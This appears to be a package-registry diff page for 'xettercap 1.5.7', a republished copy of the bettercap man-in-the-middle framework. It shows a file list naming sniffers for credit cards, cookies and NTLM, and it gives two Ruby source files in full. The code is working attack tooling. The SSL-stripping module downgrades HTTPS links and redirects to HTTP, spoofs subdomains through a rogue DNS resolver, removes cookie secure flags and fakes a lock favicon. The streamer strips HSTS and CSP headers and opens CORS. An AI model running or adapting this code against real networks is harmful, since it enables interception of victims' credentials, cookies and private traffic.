xettercap 1.5.7xerob
Sign up to get free protection for your applications and to get access to all the features.
- checksums.yaml +7 -0
- data/bin/xettercap +61 -0
- data/lib/bettercap/banner +2 -0
- data/lib/bettercap/context.rb +259 -0
- data/lib/bettercap/discovery/agents/arp.rb +37 -0
- data/lib/bettercap/discovery/agents/base.rb +73 -0
- data/lib/bettercap/discovery/agents/icmp.rb +44 -0
- data/lib/bettercap/discovery/agents/udp.rb +30 -0
- data/lib/bettercap/discovery/thread.rb +128 -0
- data/lib/bettercap/error.rb +16 -0
- data/lib/bettercap/firewalls/base.rb +103 -0
- data/lib/bettercap/firewalls/bsd.rb +74 -0
- data/lib/bettercap/firewalls/linux.rb +65 -0
- data/lib/bettercap/firewalls/redirection.rb +42 -0
- data/lib/bettercap/loader.rb +27 -0
- data/lib/bettercap/logger.rb +131 -0
- data/lib/bettercap/memory.rb +56 -0
- data/lib/bettercap/monkey/celluloid/actor.rb +23 -0
- data/lib/bettercap/monkey/celluloid/io/udp_socket.rb +26 -0
- data/lib/bettercap/monkey/em-proxy/proxy.rb +23 -0
- data/lib/bettercap/monkey/openssl/server.rb +35 -0
- data/lib/bettercap/monkey/packetfu/pcap.rb +51 -0
- data/lib/bettercap/monkey/packetfu/utils.rb +210 -0
- data/lib/bettercap/monkey/system.rb +25 -0
- data/lib/bettercap/network/arp_reader.rb +91 -0
- data/lib/bettercap/network/hw-prefixes +21326 -0
- data/lib/bettercap/network/network.rb +102 -0
- data/lib/bettercap/network/packet_queue.rb +129 -0
- data/lib/bettercap/network/protos/base.rb +154 -0
- data/lib/bettercap/network/protos/dhcp.rb +227 -0
- data/lib/bettercap/network/protos/mysql.rb +40 -0
- data/lib/bettercap/network/protos/ntlm.rb +97 -0
- data/lib/bettercap/network/protos/snmp.rb +49 -0
- data/lib/bettercap/network/protos/teamviewer.rb +119 -0
- data/lib/bettercap/network/servers/dnsd.rb +152 -0
- data/lib/bettercap/network/servers/httpd.rb +55 -0
- data/lib/bettercap/network/services +2182 -0
- data/lib/bettercap/network/target.rb +168 -0
- data/lib/bettercap/network/validator.rb +96 -0
- data/lib/bettercap/options/core_options.rb +197 -0
- data/lib/bettercap/options/options.rb +165 -0
- data/lib/bettercap/options/proxy_options.rb +314 -0
- data/lib/bettercap/options/server_options.rb +73 -0
- data/lib/bettercap/options/sniff_options.rb +90 -0
- data/lib/bettercap/options/spoof_options.rb +71 -0
- data/lib/bettercap/pluggable.rb +37 -0
- data/lib/bettercap/proxy/http/module.rb +105 -0
- data/lib/bettercap/proxy/http/modules/injectcss.rb +79 -0
- data/lib/bettercap/proxy/http/modules/injecthtml.rb +80 -0
- data/lib/bettercap/proxy/http/modules/injectjs.rb +79 -0
- data/lib/bettercap/proxy/http/proxy.rb +184 -0
- data/lib/bettercap/proxy/http/request.rb +192 -0
- data/lib/bettercap/proxy/http/response.rb +226 -0
- data/lib/bettercap/proxy/http/ssl/authority.rb +182 -0
- data/lib/bettercap/proxy/http/ssl/bettercap-ca.pem +49 -0
- data/lib/bettercap/proxy/http/ssl/server.rb +63 -0
- data/lib/bettercap/proxy/http/sslstrip/cookiemonitor.rb +67 -0
- data/lib/bettercap/proxy/http/sslstrip/lock.ico +0 -0
- data/lib/bettercap/proxy/http/sslstrip/strip.rb +325 -0
- data/lib/bettercap/proxy/http/streamer.rb +225 -0
- data/lib/bettercap/proxy/stream_logger.rb +181 -0
- data/lib/bettercap/proxy/tcp/module.rb +75 -0
- data/lib/bettercap/proxy/tcp/proxy.rb +123 -0
- data/lib/bettercap/proxy/thread_pool.rb +194 -0
- data/lib/bettercap/shell.rb +70 -0
- data/lib/bettercap/sniffer/parsers/base.rb +87 -0
- data/lib/bettercap/sniffer/parsers/cookie.rb +45 -0
- data/lib/bettercap/sniffer/parsers/creditcard.rb +62 -0
- data/lib/bettercap/sniffer/parsers/custom.rb +26 -0
- data/lib/bettercap/sniffer/parsers/dhcp.rb +45 -0
- data/lib/bettercap/sniffer/parsers/dict.rb +37 -0
- data/lib/bettercap/sniffer/parsers/ftp.rb +24 -0
- data/lib/bettercap/sniffer/parsers/httpauth.rb +44 -0
- data/lib/bettercap/sniffer/parsers/https.rb +42 -0
- data/lib/bettercap/sniffer/parsers/irc.rb +24 -0
- data/lib/bettercap/sniffer/parsers/mail.rb +24 -0
- data/lib/bettercap/sniffer/parsers/mpd.rb +36 -0
- data/lib/bettercap/sniffer/parsers/mysql.rb +27 -0
- data/lib/bettercap/sniffer/parsers/nntp.rb +24 -0
- data/lib/bettercap/sniffer/parsers/ntlmss.rb +34 -0
- data/lib/bettercap/sniffer/parsers/pgsql.rb +36 -0
- data/lib/bettercap/sniffer/parsers/post.rb +33 -0
- data/lib/bettercap/sniffer/parsers/redis.rb +39 -0
- data/lib/bettercap/sniffer/parsers/rlogin.rb +45 -0
- data/lib/bettercap/sniffer/parsers/snmp.rb +44 -0
- data/lib/bettercap/sniffer/parsers/snpp.rb +37 -0
- data/lib/bettercap/sniffer/parsers/teamviewer.rb +30 -0
- data/lib/bettercap/sniffer/parsers/url.rb +30 -0
- data/lib/bettercap/sniffer/parsers/whatsapp.rb +33 -0
- data/lib/bettercap/sniffer/sniffer.rb +142 -0
- data/lib/bettercap/spoofers/arp.rb +150 -0
- data/lib/bettercap/spoofers/base.rb +152 -0
- data/lib/bettercap/spoofers/icmp.rb +202 -0
- data/lib/bettercap/spoofers/none.rb +57 -0
- data/lib/bettercap/update_checker.rb +57 -0
- data/lib/bettercap/version.rb +18 -0
- data/lib/bettercap.rb +70 -0
- metadata +276 -0
@@ -0,0 +1,325 @@
|
|
1
|
+
# encoding: UTF-8
|
2
|
+
=begin
|
3
|
+
|
4
|
+
BETTERCAP
|
5
|
+
|
6
|
+
Author : Simone 'evilsocket' Margaritelli
|
7
|
+
Email : evilsocket@gmail.com
|
8
|
+
Blog : http://www.evilsocket.net/
|
9
|
+
|
10
|
+
This project is released under the GPL 3 license.
|
11
|
+
|
12
|
+
=end
|
13
|
+
|
14
|
+
module BetterCap
|
15
|
+
module Proxy
|
16
|
+
module HTTP
|
17
|
+
module SSLStrip
|
18
|
+
|
19
|
+
# Represent a stripped url associated to the client that requested it.
|
20
|
+
class StrippedObject
|
21
|
+
# The stripped request client address.
|
22
|
+
attr_accessor :client
|
23
|
+
# The original URL.
|
24
|
+
attr_accessor :original
|
25
|
+
# The stripped version of the URL.
|
26
|
+
attr_accessor :stripped
|
27
|
+
|
28
|
+
# Known subdomains to replace.
|
29
|
+
SUBDOMAIN_REPLACES = {
|
30
|
+
'www' => 'wwwww',
|
31
|
+
'webmail' => 'wwebmail',
|
32
|
+
'mail' => 'wmail',
|
33
|
+
'm' => 'wmobile'
|
34
|
+
}.freeze
|
35
|
+
|
36
|
+
# Create an instance with the given arguments.
|
37
|
+
def initialize( client, original, stripped )
|
38
|
+
@client = client
|
39
|
+
@original = original
|
40
|
+
@stripped = stripped
|
41
|
+
end
|
42
|
+
|
43
|
+
# Return the #original hostname.
|
44
|
+
def original_hostname
|
45
|
+
URI::parse(@original).hostname
|
46
|
+
end
|
47
|
+
|
48
|
+
# Return the #stripped hostname.
|
49
|
+
def stripped_hostname
|
50
|
+
URI::parse(@stripped).hostname
|
51
|
+
end
|
52
|
+
|
53
|
+
# Return a normalized version of +url+.
|
54
|
+
def self.normalize( url, schema = 'https' )
|
55
|
+
# add schema if needed
|
56
|
+
unless url.include?('://')
|
57
|
+
url = "#{schema}://#{url}"
|
58
|
+
end
|
59
|
+
# add path if needed
|
60
|
+
unless url.end_with?('/')
|
61
|
+
url = "#{url}/"
|
62
|
+
end
|
63
|
+
url
|
64
|
+
end
|
65
|
+
|
66
|
+
# Downgrade +url+ from HTTPS to HTTP.
|
67
|
+
# Will take care of HSTS bypass urls in a near future.
|
68
|
+
def self.strip( url )
|
69
|
+
# first thing first, downgrade the protocol schema
|
70
|
+
stripped = url.gsub( 'https://', 'http://' )
|
71
|
+
# search for a known subdomain and replace it
|
72
|
+
found = false
|
73
|
+
SUBDOMAIN_REPLACES.each do |from,to|
|
74
|
+
if stripped.include?( "://#{from}." )
|
75
|
+
stripped = stripped.gsub( "://#{from}.", "://#{to}." )
|
76
|
+
found = true
|
77
|
+
break
|
78
|
+
end
|
79
|
+
end
|
80
|
+
# fallback, prepend custom 'wwwww.'
|
81
|
+
unless found
|
82
|
+
stripped.gsub!( '://', '://wwwww.' )
|
83
|
+
end
|
84
|
+
|
85
|
+
Logger.debug "[#{'SSLSTRIP'.green} '#{url}' -> '#{stripped}'"
|
86
|
+
|
87
|
+
stripped
|
88
|
+
end
|
89
|
+
|
90
|
+
def self.process( url )
|
91
|
+
normalized = self.normalize(url)
|
92
|
+
stripped = self.strip(normalized)
|
93
|
+
[ normalized, stripped ]
|
94
|
+
end
|
95
|
+
end
|
96
|
+
|
97
|
+
# Handle SSL stripping.
|
98
|
+
class Strip
|
99
|
+
# Maximum number of redirects to detect a HTTPS redirect loop.
|
100
|
+
MAX_REDIRECTS = 3
|
101
|
+
# Regular expression used to parse HTTPS urls.
|
102
|
+
HTTPS_URL_RE = /(https:\/\/[^"'\/]+)/i
|
103
|
+
|
104
|
+
# Create an instance of this object.
|
105
|
+
def initialize( ctx )
|
106
|
+
@stripped = []
|
107
|
+
@cookies = CookieMonitor.new
|
108
|
+
@favicon = Response.from_file( File.dirname(__FILE__) + '/lock.ico', 'image/x-icon' )
|
109
|
+
@resolver = BetterCap::Network::Servers::DNSD.new( nil, ctx.iface.ip, ctx.options.servers.dnsd_port )
|
110
|
+
|
111
|
+
@resolver.start
|
112
|
+
end
|
113
|
+
|
114
|
+
# Return true if the +request+ was stripped.
|
115
|
+
def was_stripped?(request)
|
116
|
+
url = request.base_url
|
117
|
+
@stripped.each do |s|
|
118
|
+
if s.client == request.client and s.stripped.start_with?(url)
|
119
|
+
return true
|
120
|
+
end
|
121
|
+
end
|
122
|
+
false
|
123
|
+
end
|
124
|
+
|
125
|
+
def unstrip( request, url )
|
126
|
+
@stripped.each do |s|
|
127
|
+
if s.client == request.client and s.stripped.start_with?(url)
|
128
|
+
return s.original
|
129
|
+
end
|
130
|
+
end
|
131
|
+
url
|
132
|
+
end
|
133
|
+
|
134
|
+
# Check if the +request+ is a result of a stripped link/redirect and handle
|
135
|
+
# cookies cleaning.
|
136
|
+
# Return a response object or nil if the request must be performed.
|
137
|
+
def preprocess( request )
|
138
|
+
process_headers!(request)
|
139
|
+
response = process_cookies!(request)
|
140
|
+
if response.nil?
|
141
|
+
process_stripped!(request)
|
142
|
+
response = spoof_favicon!(request)
|
143
|
+
end
|
144
|
+
response
|
145
|
+
end
|
146
|
+
|
147
|
+
# Process the +request+ and if it's a redirect to a HTTPS url patch the
|
148
|
+
# Location header and retry.
|
149
|
+
# Process the +response+ and replace every https link in its body with
|
150
|
+
# http counterparts.
|
151
|
+
def process( request, response )
|
152
|
+
# check for a redirect
|
153
|
+
if process_redirection!( request, response )
|
154
|
+
# retry the request
|
155
|
+
return true
|
156
|
+
end
|
157
|
+
|
158
|
+
process_headers!(response)
|
159
|
+
process_body!( request, response )
|
160
|
+
|
161
|
+
# do not retry the request.
|
162
|
+
false
|
163
|
+
end
|
164
|
+
|
165
|
+
private
|
166
|
+
|
167
|
+
# Headers to patch both in requests and responses.
|
168
|
+
HEADERS_TO_PATCH = {
|
169
|
+
:req => {
|
170
|
+
'Accept-Encoding' => nil,
|
171
|
+
'If-None-Match' => nil,
|
172
|
+
'If-Modified-Since' => nil,
|
173
|
+
'Upgrade-Insecure-Requests' => nil,
|
174
|
+
'Pragma' => 'no-cache'
|
175
|
+
},
|
176
|
+
|
177
|
+
:res => {
|
178
|
+
'X-Frame-Options' => nil,
|
179
|
+
'X-Content-Type-Options' => nil,
|
180
|
+
'X-Xss-Protection' => nil,
|
181
|
+
'Strict-Transport-Security' => nil,
|
182
|
+
'Content-Security-Policy' => nil
|
183
|
+
}
|
184
|
+
}.freeze
|
185
|
+
|
186
|
+
# Clean some headers from +r+.
|
187
|
+
def process_headers!(r)
|
188
|
+
what = r.is_a?(BetterCap::Proxy::HTTP::Request) ? :req : :res
|
189
|
+
HEADERS_TO_PATCH[what].each do |key,value|
|
190
|
+
r[key] = value;
|
191
|
+
end
|
192
|
+
end
|
193
|
+
|
194
|
+
# If +request+ has unknown session cookies, create a client redirection
|
195
|
+
# to make them expire.
|
196
|
+
def process_cookies!(request)
|
197
|
+
response = nil
|
198
|
+
# check for cookies.
|
199
|
+
unless @cookies.is_clean?(request)
|
200
|
+
Logger.info "[#{'SSLSTRIP'.green} #{request.client}] Sending expired cookies for '#{request.host}'."
|
201
|
+
expired = @cookies.get_expired_headers!(request)
|
202
|
+
response = Response.redirect( request.to_url(nil), expired )
|
203
|
+
end
|
204
|
+
response
|
205
|
+
end
|
206
|
+
|
207
|
+
# If the +request+ is a result of a sslstripping operation,
|
208
|
+
# proxy it via SSL.
|
209
|
+
def process_stripped!(request)
|
210
|
+
if request.port == 80 and was_stripped?(request)
|
211
|
+
# i.e: wwww.facebook.com
|
212
|
+
stripped = request['Host']
|
213
|
+
# i.e: http://wwww.facebook.com/
|
214
|
+
url = StrippedObject.normalize( stripped, 'http' )
|
215
|
+
# i.e: www.facebook.com
|
216
|
+
unstripped = unstrip( request, url ).gsub( 'https://', '' ).gsub( 'http://', '' ).gsub( /\/.*/, '' )
|
217
|
+
|
218
|
+
# loop each header and fix the stripped url if needed,
|
219
|
+
# this will fix headers such as Host, Referer, Origin, etc.
|
220
|
+
request.headers.each do |name,value|
|
221
|
+
if value.include?(stripped)
|
222
|
+
request[name] = value.gsub( stripped, unstripped ).gsub( 'http://', 'https://')
|
223
|
+
end
|
224
|
+
end
|
225
|
+
request.port = 443
|
226
|
+
|
227
|
+
Logger.info "[#{'SSLSTRIP'.green} #{request.client}] Found stripped HTTPS link '#{url}', proxying via SSL ( #{request.to_url} )."
|
228
|
+
end
|
229
|
+
end
|
230
|
+
|
231
|
+
# If +request+ is the favicon of a stripped host, send our spoofed lock icon.
|
232
|
+
def spoof_favicon!(request)
|
233
|
+
if was_stripped?(request) and is_favicon?(request)
|
234
|
+
Logger.info "[#{'SSLSTRIP'.green} #{request.client}] Sending spoofed favicon '#{request.to_url }'."
|
235
|
+
return @favicon
|
236
|
+
end
|
237
|
+
nil
|
238
|
+
end
|
239
|
+
|
240
|
+
# Return true if +request+ is a favicon request.
|
241
|
+
def is_favicon?(request)
|
242
|
+
( request.path.include?('.ico') or request.path.include?('favicon') )
|
243
|
+
end
|
244
|
+
|
245
|
+
# If the +response+ is a redirect to a HTTPS location, patch the +response+ and
|
246
|
+
# retry the +request+ via SSL.
|
247
|
+
def process_redirection!(request,response)
|
248
|
+
# check for a redirect
|
249
|
+
if response['Location'].start_with?('https://')
|
250
|
+
original, stripped = StrippedObject.process( response['Location'] )
|
251
|
+
|
252
|
+
add_stripped_object StrippedObject.new( request.client, original, stripped )
|
253
|
+
|
254
|
+
# If MAX_REDIRECTS is reached, the 'Location' header will be used.
|
255
|
+
response['Location'] = stripped
|
256
|
+
|
257
|
+
# no cookies set, just a normal http -> https redirect
|
258
|
+
if response['Set-Cookie'].empty?
|
259
|
+
Logger.info "[#{'SSLSTRIP'.green} #{request.client}] Found redirect to HTTPS '#{original}' -> '#{stripped}'."
|
260
|
+
# The request will be retried on port 443 if MAX_REDIRECTS is not reached.
|
261
|
+
request.port = 443
|
262
|
+
# retry the request if possible
|
263
|
+
return true
|
264
|
+
# cookies set, this is probably a redirect after a login.
|
265
|
+
else
|
266
|
+
Logger.info "[#{'SSLSTRIP'.green} #{request.client}] Found redirect to HTTPS ( with cookies ) '#{original}' -> '#{stripped}'."
|
267
|
+
# we know this session, do not kill it!
|
268
|
+
@cookies.add!( request )
|
269
|
+
# remove the 'secure' flag from every cookie.
|
270
|
+
# ref: https://www.owasp.org/index.php/SecureFlag
|
271
|
+
response.patch_header!( 'Set-Cookie', /secure/, '' )
|
272
|
+
# do not retry request
|
273
|
+
return false
|
274
|
+
end
|
275
|
+
end
|
276
|
+
false
|
277
|
+
end
|
278
|
+
|
279
|
+
# Process the +response+ body and strip out every HTTPS link.
|
280
|
+
def process_body!(request, response)
|
281
|
+
# parse body
|
282
|
+
links = []
|
283
|
+
begin
|
284
|
+
response.body.scan( HTTPS_URL_RE ).uniq.each do |link|
|
285
|
+
if link[0].include?('.')
|
286
|
+
# yeah, some idiots are using \ instead of / as a path -.-
|
287
|
+
if link[0].end_with?('\\')
|
288
|
+
link[0][-1] = '/'
|
289
|
+
end
|
290
|
+
links << StrippedObject.process( link[0] )
|
291
|
+
end
|
292
|
+
end
|
293
|
+
# handle errors due to binary content
|
294
|
+
rescue; end
|
295
|
+
|
296
|
+
unless links.empty?
|
297
|
+
Logger.info "[#{'SSLSTRIP'.green} #{request.client}] Stripping #{links.size} HTTPS link#{links.size > 1 ? 's' : ''} inside '#{request.to_url}'."
|
298
|
+
|
299
|
+
links.each do |l|
|
300
|
+
original, stripped = l
|
301
|
+
add_stripped_object StrippedObject.new( request.client, original, stripped )
|
302
|
+
response.body.gsub!( original, stripped )
|
303
|
+
end
|
304
|
+
end
|
305
|
+
end
|
306
|
+
|
307
|
+
private
|
308
|
+
|
309
|
+
def add_stripped_object( o )
|
310
|
+
begin
|
311
|
+
stripped_hostname = o.stripped_hostname
|
312
|
+
original_address = IPSocket.getaddress( o.original_hostname )
|
313
|
+
@stripped << o
|
314
|
+
# make sure we're able to resolve the stripped domain
|
315
|
+
@resolver.add_rule!( stripped_hostname, original_address )
|
316
|
+
rescue Exception => e
|
317
|
+
Logger.exception(e)
|
318
|
+
end
|
319
|
+
end
|
320
|
+
end
|
321
|
+
|
322
|
+
end
|
323
|
+
end
|
324
|
+
end
|
325
|
+
end
|
@@ -0,0 +1,225 @@
|
|
1
|
+
# encoding: UTF-8
|
2
|
+
=begin
|
3
|
+
|
4
|
+
BETTERCAP
|
5
|
+
|
6
|
+
Author : Simone 'evilsocket' Margaritelli
|
7
|
+
Email : evilsocket@gmail.com
|
8
|
+
Blog : http://www.evilsocket.net/
|
9
|
+
|
10
|
+
This project is released under the GPL 3 license.
|
11
|
+
|
12
|
+
=end
|
13
|
+
|
14
|
+
module BetterCap
|
15
|
+
module Proxy
|
16
|
+
module HTTP
|
17
|
+
|
18
|
+
# Handle data streaming between clients and servers for the BetterCap::Proxy::HTTP::Proxy.
|
19
|
+
class Streamer
|
20
|
+
# Initialize the class.
|
21
|
+
def initialize( sslstrip )
|
22
|
+
@ctx = Context.get
|
23
|
+
@sslstrip = SSLStrip::Strip.new( @ctx ) if sslstrip
|
24
|
+
end
|
25
|
+
|
26
|
+
# Return true if the +request+ was stripped.
|
27
|
+
def was_stripped?(request, client)
|
28
|
+
if @sslstrip
|
29
|
+
request.client, _ = get_client_details( client )
|
30
|
+
return @sslstrip.was_stripped?(request)
|
31
|
+
end
|
32
|
+
false
|
33
|
+
end
|
34
|
+
|
35
|
+
# Redirect the +client+ to a funny video.
|
36
|
+
def rickroll( client )
|
37
|
+
client_ip, client_port = get_client_details( client )
|
38
|
+
|
39
|
+
Logger.warn "#{client_ip}:#{client_port} is connecting to us directly."
|
40
|
+
|
41
|
+
client.write Response.redirect( "https://www.youtube.com/watch?v=dQw4w9WgXcQ" ).to_s
|
42
|
+
end
|
43
|
+
|
44
|
+
# Handle the HTTP +request+ from +client+.
|
45
|
+
def handle( request, client, redirects = 0 )
|
46
|
+
response = Response.new
|
47
|
+
request.client, _ = get_client_details( client )
|
48
|
+
|
49
|
+
Logger.debug "Handling #{request.method} request from #{request.client} ..."
|
50
|
+
|
51
|
+
begin
|
52
|
+
r = nil
|
53
|
+
if @sslstrip
|
54
|
+
r = @sslstrip.preprocess( request )
|
55
|
+
end
|
56
|
+
|
57
|
+
if r.nil?
|
58
|
+
# call modules on_pre_request
|
59
|
+
r = process( request )
|
60
|
+
if r.nil?
|
61
|
+
self.send( "do_#{request.method}", request, response )
|
62
|
+
else
|
63
|
+
Logger.info "[#{'PROXY'.green}] Module returned crafted response."
|
64
|
+
response = r
|
65
|
+
end
|
66
|
+
else
|
67
|
+
response = r
|
68
|
+
end
|
69
|
+
|
70
|
+
if response.textual? or request.method == 'DELETE'
|
71
|
+
StreamLogger.log_http( request, response )
|
72
|
+
else
|
73
|
+
Logger.debug "[#{request.client}] -> #{request.to_url} [#{response.code}]"
|
74
|
+
end
|
75
|
+
|
76
|
+
if @sslstrip
|
77
|
+
# do we need to retry the request?
|
78
|
+
if @sslstrip.process( request, response ) == true
|
79
|
+
# https redirect loop?
|
80
|
+
if redirects < SSLStrip::Strip::MAX_REDIRECTS
|
81
|
+
return self.handle( request, client, redirects + 1 )
|
82
|
+
else
|
83
|
+
Logger.info "[#{'SSLSTRIP'.red} #{request.client}] Detected HTTPS redirect loop for '#{request.host}'."
|
84
|
+
end
|
85
|
+
end
|
86
|
+
end
|
87
|
+
|
88
|
+
# Strip out a few security headers.
|
89
|
+
strip_security( response )
|
90
|
+
|
91
|
+
# call modules on_request
|
92
|
+
process( request, response )
|
93
|
+
|
94
|
+
client.write response.to_s
|
95
|
+
rescue NoMethodError => e
|
96
|
+
Logger.warn "Could not handle #{request.method} request from #{request.client} ..."
|
97
|
+
Logger.exception e
|
98
|
+
end
|
99
|
+
end
|
100
|
+
|
101
|
+
private
|
102
|
+
|
103
|
+
# Run proxy modules.
|
104
|
+
def process( request, response = nil )
|
105
|
+
# loop each loaded module and execute if enabled
|
106
|
+
BetterCap::Proxy::HTTP::Module.modules.each do |mod|
|
107
|
+
if mod.enabled?
|
108
|
+
# we need to save the original response in case something
|
109
|
+
# in the module will go wrong
|
110
|
+
original = response
|
111
|
+
|
112
|
+
begin
|
113
|
+
if response.nil?
|
114
|
+
r = mod.on_pre_request request
|
115
|
+
# the handler returned a response, do not execute
|
116
|
+
# the request
|
117
|
+
response = r unless r.nil?
|
118
|
+
else
|
119
|
+
mod.on_request request, response
|
120
|
+
end
|
121
|
+
rescue Exception => e
|
122
|
+
Logger.warn "Error with proxy module: #{e.message}"
|
123
|
+
Logger.exception e
|
124
|
+
|
125
|
+
response = original
|
126
|
+
end
|
127
|
+
end
|
128
|
+
end
|
129
|
+
return response
|
130
|
+
end
|
131
|
+
|
132
|
+
# List of security headers to remove/patch from any response.
|
133
|
+
# Thanks to Mazin Ahmed ( @mazen160 )
|
134
|
+
SECURITY_HEADERS = {
|
135
|
+
'X-Frame-Options' => nil,
|
136
|
+
'X-Content-Type-Options' => nil,
|
137
|
+
'Strict-Transport-Security' => nil,
|
138
|
+
'X-WebKit-CSP' => nil,
|
139
|
+
'Public-Key-Pins' => nil,
|
140
|
+
'Public-Key-Pins-Report-Only' => nil,
|
141
|
+
'X-Content-Security-Policy' => nil,
|
142
|
+
'Content-Security-Policy-Report-Only' => nil,
|
143
|
+
'Content-Security-Policy' => nil,
|
144
|
+
'X-Download-Options' => nil,
|
145
|
+
'X-Permitted-Cross-Domain-Policies' => nil,
|
146
|
+
'Allow-Access-From-Same-Origin' => '*',
|
147
|
+
'Access-Control-Allow-Origin' => '*',
|
148
|
+
'Access-Control-Allow-Methods' => '*',
|
149
|
+
'Access-Control-Allow-Headers' => '*',
|
150
|
+
'X-Xss-Protection' => '0'
|
151
|
+
}.freeze
|
152
|
+
|
153
|
+
# Strip out a few security headers from +response+.
|
154
|
+
def strip_security( response )
|
155
|
+
SECURITY_HEADERS.each do |name,value|
|
156
|
+
response[name] = value
|
157
|
+
end
|
158
|
+
end
|
159
|
+
|
160
|
+
# Return the +client+ ip address and port.
|
161
|
+
def get_client_details( client )
|
162
|
+
_, client_port, _, client_ip = client.peeraddr
|
163
|
+
[ client_ip, client_port ]
|
164
|
+
end
|
165
|
+
|
166
|
+
# Use a Net::HTTP object in order to perform the +req+ BetterCap::Proxy::HTTP::Request
|
167
|
+
# object, will return a BetterCap::Proxy::HTTP::Response object instance.
|
168
|
+
def perform_proxy_request(req, res)
|
169
|
+
path = req.path
|
170
|
+
response = nil
|
171
|
+
http = Net::HTTP.new( req.host, req.port )
|
172
|
+
http.use_ssl = ( req.port == 443 )
|
173
|
+
http.verify_mode = OpenSSL::SSL::VERIFY_NONE
|
174
|
+
|
175
|
+
http.start do
|
176
|
+
response = yield( http, path, req.headers )
|
177
|
+
end
|
178
|
+
|
179
|
+
res.convert_webrick_response!(response)
|
180
|
+
end
|
181
|
+
|
182
|
+
# Handle a CONNECT request, +req+ is the request object and +res+ the response.
|
183
|
+
def do_CONNECT(req, res)
|
184
|
+
Logger.error "You're using bettercap as a normal HTTP(S) proxy, it wasn't designed to handle CONNECT requests:\n\n#{req.to_s}"
|
185
|
+
end
|
186
|
+
|
187
|
+
# Handle a GET request, +req+ is the request object and +res+ the response.
|
188
|
+
def do_GET(req, res)
|
189
|
+
perform_proxy_request(req, res) do |http, path, header|
|
190
|
+
http.get(path, header)
|
191
|
+
end
|
192
|
+
end
|
193
|
+
|
194
|
+
# Handle a HEAD request, +req+ is the request object and +res+ the response.
|
195
|
+
def do_HEAD(req, res)
|
196
|
+
perform_proxy_request(req, res) do |http, path, header|
|
197
|
+
http.head(path, header)
|
198
|
+
end
|
199
|
+
end
|
200
|
+
|
201
|
+
# Handle a DELETE request, +req+ is the request object and +res+ the response.
|
202
|
+
def do_DELETE(req, res)
|
203
|
+
perform_proxy_request(req, res) do |http, path, header|
|
204
|
+
http.delete(path, header)
|
205
|
+
end
|
206
|
+
end
|
207
|
+
|
208
|
+
# Handle a POST request, +req+ is the request object and +res+ the response.
|
209
|
+
def do_POST(req, res)
|
210
|
+
perform_proxy_request(req, res) do |http, path, header|
|
211
|
+
http.post(path, req.body || "", header)
|
212
|
+
end
|
213
|
+
end
|
214
|
+
|
215
|
+
# Handle a PUT request, +req+ is the request object and +res+ the response.
|
216
|
+
def do_PUT(req, res)
|
217
|
+
perform_proxy_request(req, res) do |http, path, header|
|
218
|
+
http.put(path, req.body || "", header)
|
219
|
+
end
|
220
|
+
end
|
221
|
+
|
222
|
+
end
|
223
|
+
end
|
224
|
+
end
|
225
|
+
end
|